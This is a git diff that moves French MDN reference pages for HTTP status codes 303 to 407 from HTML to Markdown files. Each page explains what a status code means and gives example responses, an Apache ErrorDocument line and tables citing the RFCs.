Le code de statut de réponse de redirection 303 See Other, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}.

+ +

Statut

+ +
303 See Other
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "303 See Other" , "6.4.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "303")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/304/index.html b/files/fr/web/http/status/304/index.html deleted file mode 100644 index 978caf4278..0000000000 --- a/files/fr/web/http/status/304/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 304 Not Modified -slug: Web/HTTP/Status/304 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/304 ---- -
{{HTTPSidebar}}
- -

Le code de réponse de redirection 304 Not Modified indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est {{glossary("safe")}} (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.

- -

La réponse {{HTTPStatus("200")}} OK équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}.

- -
-

Note : Dans les navigateurs, les outils de développement réseau créent des requêtes supplémentaires qui conduisent à des réponses 304. Ainsi l'accès au cache local est visible par les développeurs .

-
- -

Statut

- -
304 Not Modified
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7232", "304 Not Modified" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "304")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/304/index.md b/files/fr/web/http/status/304/index.md new file mode 100644 index 0000000000..978caf4278 --- /dev/null +++ b/files/fr/web/http/status/304/index.md @@ -0,0 +1,48 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/304 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse de redirection 304 Not Modified indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est {{glossary("safe")}} (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.

+ +

La réponse {{HTTPStatus("200")}} OK équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}.

+ +
+

Note : Dans les navigateurs, les outils de développement réseau créent des requêtes supplémentaires qui conduisent à des réponses 304. Ainsi l'accès au cache local est visible par les développeurs .

+
+ +

Statut

+ +
304 Not Modified
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7232", "304 Not Modified" , "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "304")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/307/index.html b/files/fr/web/http/status/307/index.html deleted file mode 100644 index 90d7b44479..0000000000 --- a/files/fr/web/http/status/307/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 307 Temporary Redirect -slug: Web/HTTP/Status/307 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/307 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse de redirection 307 Temporary Redirect indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).

- -

La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code  {{HTTPStatus("303")}} See Also à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").

- -

La seule différence entre le code 307 et le code {{HTTPStatus("302")}} réside dans le fait que le statut 307 garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec 302, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de GET et 302, est imprédictible sur le Web. En revanche; celui de 307 est bien prédictible. Pour la requête GET, leurs comportements respectifs sont identiques.

- -

Statut

- -
307 Temporary Redirect
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "307")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/307/index.md b/files/fr/web/http/status/307/index.md new file mode 100644 index 0000000000..90d7b44479 --- /dev/null +++ b/files/fr/web/http/status/307/index.md @@ -0,0 +1,48 @@ +--- +title: 307 Temporary Redirect +slug: Web/HTTP/Status/307 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/307 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse de redirection 307 Temporary Redirect indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).

+ +

La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code  {{HTTPStatus("303")}} See Also à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").

+ +

La seule différence entre le code 307 et le code {{HTTPStatus("302")}} réside dans le fait que le statut 307 garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec 302, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de GET et 302, est imprédictible sur le Web. En revanche; celui de 307 est bien prédictible. Pour la requête GET, leurs comportements respectifs sont identiques.

+ +

Statut

+ +
307 Temporary Redirect
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "307")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/308/index.html b/files/fr/web/http/status/308/index.html deleted file mode 100644 index b6986ad4f7..0000000000 --- a/files/fr/web/http/status/308/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: 308 Permanent Redirect -slug: Web/HTTP/Status/308 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/308 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse de redirection 308 Permanent Redirect indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).

- -

La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}.

- -
-

Note : Certaines applications Web peuvent utiliser 308 Permanent Redirect de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse 308 Resume Incomplete pour indiquer au client un chargement incomplet qui est bloqué (source).

-
- -

Statut

- -
308 Permanent Redirect
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7538", "308 Permanent Redirect" , "3")}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "308")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/308/index.md b/files/fr/web/http/status/308/index.md new file mode 100644 index 0000000000..b6986ad4f7 --- /dev/null +++ b/files/fr/web/http/status/308/index.md @@ -0,0 +1,48 @@ +--- +title: 308 Permanent Redirect +slug: Web/HTTP/Status/308 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/308 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse de redirection 308 Permanent Redirect indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).

+ +

La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}.

+ +
+

Note : Certaines applications Web peuvent utiliser 308 Permanent Redirect de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse 308 Resume Incomplete pour indiquer au client un chargement incomplet qui est bloqué (source).

+
+ +

Statut

+ +
308 Permanent Redirect
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7538", "308 Permanent Redirect" , "3")}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "308")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/400/index.html b/files/fr/web/http/status/400/index.html deleted file mode 100644 index 01961cfffc..0000000000 --- a/files/fr/web/http/status/400/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 400 Bad Request -slug: Web/HTTP/Status/400 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/400 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 400 Bad Request indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification.

- -

Statut

- -
400 Bad Request
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "400 Bad Request" , "6.5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
diff --git a/files/fr/web/http/status/400/index.md b/files/fr/web/http/status/400/index.md new file mode 100644 index 0000000000..01961cfffc --- /dev/null +++ b/files/fr/web/http/status/400/index.md @@ -0,0 +1,32 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/400 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 400 Bad Request indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification.

+ +

Statut

+ +
400 Bad Request
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "400 Bad Request" , "6.5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
diff --git a/files/fr/web/http/status/401/index.html b/files/fr/web/http/status/401/index.html deleted file mode 100644 index b7364935cc..0000000000 --- a/files/fr/web/http/status/401/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 401 Unauthorized -slug: Web/HTTP/Status/401 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/401 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 401 Unauthorized indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée.

- -

Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement.

- -

Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible.

- -

Statut

- -
401 Unauthorized
- -

Exemple de réponse

- -
HTTP/1.1 401 Unauthorized
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-WWW-Authenticate: Basic realm="Access to staging site"
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7235", "401 Unauthorized" , "3.1")}}HTTP/1.1: Authentication
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "401")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/401/index.md b/files/fr/web/http/status/401/index.md new file mode 100644 index 0000000000..b7364935cc --- /dev/null +++ b/files/fr/web/http/status/401/index.md @@ -0,0 +1,57 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/401 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 401 Unauthorized indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée.

+ +

Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement.

+ +

Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible.

+ +

Statut

+ +
401 Unauthorized
+ +

Exemple de réponse

+ +
HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7235", "401 Unauthorized" , "3.1")}}HTTP/1.1: Authentication
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "401")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/402/index.html b/files/fr/web/http/status/402/index.html deleted file mode 100644 index 8120dd443d..0000000000 --- a/files/fr/web/http/status/402/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: 402 Payment Required -slug: Web/HTTP/Status/402 -translation_of: Web/HTTP/Status/402 ---- -

{{SeeCompatTable}}

- -

Le code de statut de réponse HTTP 402 Payment Required est une erreur non standard réservée pour un usage futur.

- -

En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes.

- -

Statut

- -
402 Payment Required
- -

Exemple de réponse

- -
HTTP/1.1 402 Payment Required
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "402 Payment Required" , "6.5.2")}}HTTP/1.1: Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http.status.402")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/402/index.md b/files/fr/web/http/status/402/index.md new file mode 100644 index 0000000000..8120dd443d --- /dev/null +++ b/files/fr/web/http/status/402/index.md @@ -0,0 +1,45 @@ +--- +title: 402 Payment Required +slug: Web/HTTP/Status/402 +translation_of: Web/HTTP/Status/402 +--- +

{{SeeCompatTable}}

+ +

Le code de statut de réponse HTTP 402 Payment Required est une erreur non standard réservée pour un usage futur.

+ +

En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes.

+ +

Statut

+ +
402 Payment Required
+ +

Exemple de réponse

+ +
HTTP/1.1 402 Payment Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "402 Payment Required" , "6.5.2")}}HTTP/1.1: Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.status.402")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/403/index.html b/files/fr/web/http/status/403/index.html deleted file mode 100644 index 060427d7a6..0000000000 --- a/files/fr/web/http/status/403/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 403 Forbidden -slug: Web/HTTP/Status/403 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/403 ---- -
{{HTTPSidebar}}
- -

Le code de statut d'erreur de réponse HTTP 403 Forbidden indique qu'un serveur comprend la requête mais refuse de l'autoriser.

- -

Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource.

- -

Statut

- -
403 Forbidden
- -

Exemple de réponse

- -
HTTP/1.1 403 Forbidden
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "403 Forbidden" , "6.5.3")}}HTTP/1.1: Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "403")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/403/index.md b/files/fr/web/http/status/403/index.md new file mode 100644 index 0000000000..060427d7a6 --- /dev/null +++ b/files/fr/web/http/status/403/index.md @@ -0,0 +1,50 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/403 +--- +
{{HTTPSidebar}}
+ +

Le code de statut d'erreur de réponse HTTP 403 Forbidden indique qu'un serveur comprend la requête mais refuse de l'autoriser.

+ +

Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource.

+ +

Statut

+ +
403 Forbidden
+ +

Exemple de réponse

+ +
HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "403 Forbidden" , "6.5.3")}}HTTP/1.1: Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "403")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/404/index.html b/files/fr/web/http/status/404/index.html deleted file mode 100644 index 425096c7e9..0000000000 --- a/files/fr/web/http/status/404/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 404 Not Found -slug: Web/HTTP/Status/404 -tags: - - Code de statut - - Erreur client - - HTTP - - Référence(2) -translation_of: Web/HTTP/Status/404 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 404 Not Found indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un lien rompu.

- -

Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place.

- -

Statut

- -
404 Not Found
- -

Pages d'erreur personnalisées

- -

De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier .htaccess contenant un fragment de code tel que celui-ci :

- -
ErrorDocument 404 /notfound.html
- -

Vous pouvez aussi vous inspirer de la page 404 de MDN.

- -
-

Note : le style des pages 404 est une source d'inspiration infinie, mais sachez qu'il existe également un ensemble de meilleurs pratiques pour que cette page particulière soit utile pour les utilisateurs.

-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "404 Not Found" , "6.5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "404")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/404/index.md b/files/fr/web/http/status/404/index.md new file mode 100644 index 0000000000..425096c7e9 --- /dev/null +++ b/files/fr/web/http/status/404/index.md @@ -0,0 +1,59 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/404 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 404 Not Found indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un lien rompu.

+ +

Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place.

+ +

Statut

+ +
404 Not Found
+ +

Pages d'erreur personnalisées

+ +

De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier .htaccess contenant un fragment de code tel que celui-ci :

+ +
ErrorDocument 404 /notfound.html
+ +

Vous pouvez aussi vous inspirer de la page 404 de MDN.

+ +
+

Note : le style des pages 404 est une source d'inspiration infinie, mais sachez qu'il existe également un ensemble de meilleurs pratiques pour que cette page particulière soit utile pour les utilisateurs.

+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "404 Not Found" , "6.5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "404")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/405/index.html b/files/fr/web/http/status/405/index.html deleted file mode 100644 index bccc745b4e..0000000000 --- a/files/fr/web/http/status/405/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: 405 Method Not Allowed -slug: Web/HTTP/Status/405 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/405 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 405 Method Not Allowed indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. 

- -

Le serveur doit générer un champ Allow dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée.

- -

Statut

- -
405 Method Not Allowed
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/405/index.md b/files/fr/web/http/status/405/index.md new file mode 100644 index 0000000000..bccc745b4e --- /dev/null +++ b/files/fr/web/http/status/405/index.md @@ -0,0 +1,40 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/405 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 405 Method Not Allowed indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. 

+ +

Le serveur doit générer un champ Allow dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée.

+ +

Statut

+ +
405 Method Not Allowed
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/406/index.html b/files/fr/web/http/status/406/index.html deleted file mode 100644 index 85643acd4b..0000000000 --- a/files/fr/web/http/status/406/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 406 Not Acceptable -slug: Web/HTTP/Status/406 -tags: - - Code de statut - - HTTP - - Reference -translation_of: Web/HTTP/Status/406 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 406 Not Acceptable indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}.

- -

En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur.

- -

Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci.

- -

Statut

- -
406 Not Acceptable
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "406")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/406/index.md b/files/fr/web/http/status/406/index.md new file mode 100644 index 0000000000..85643acd4b --- /dev/null +++ b/files/fr/web/http/status/406/index.md @@ -0,0 +1,47 @@ +--- +title: 406 Not Acceptable +slug: Web/HTTP/Status/406 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/406 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 406 Not Acceptable indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}.

+ +

En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur.

+ +

Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci.

+ +

Statut

+ +
406 Not Acceptable
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "406")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/407/index.html b/files/fr/web/http/status/407/index.html deleted file mode 100644 index e1663f1236..0000000000 --- a/files/fr/web/http/status/407/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 407 Proxy Authentication Required -slug: Web/HTTP/Status/407 -tags: - - Code de statut - - Erreur client - - HTTP - - Reference -translation_of: Web/HTTP/Status/407 ---- -
{{HTTPSidebar}}
- -

Le code de réponse d'erreur HTTP 407 Proxy Authentication Required indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un  {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée.

- -

Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement.

- -

Statut

- -
407 Proxy Authentication Required
- -

Exemple de réponse

- -
HTTP/1.1 407 Proxy Authentication Required
-Date: Wed, 21 Oct 2015 07:28:00 GMT
-Proxy-Authenticate: Basic realm="Access to internal site"
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}HTTP/1.1: Authentication
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "407")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/407/index.md b/files/fr/web/http/status/407/index.md new file mode 100644 index 0000000000..e1663f1236 --- /dev/null +++ b/files/fr/web/http/status/407/index.md @@ -0,0 +1,55 @@ +--- +title: 407 Proxy Authentication Required +slug: Web/HTTP/Status/407 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/407 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse d'erreur HTTP 407 Proxy Authentication Required indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un  {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée.

+ +

Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement.

+ +

Statut

+ +
407 Proxy Authentication Required
+ +

Exemple de réponse

+ +
HTTP/1.1 407 Proxy Authentication Required
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+Proxy-Authenticate: Basic realm="Access to internal site"
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}HTTP/1.1: Authentication
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "407")}}

+ +

Voir aussi

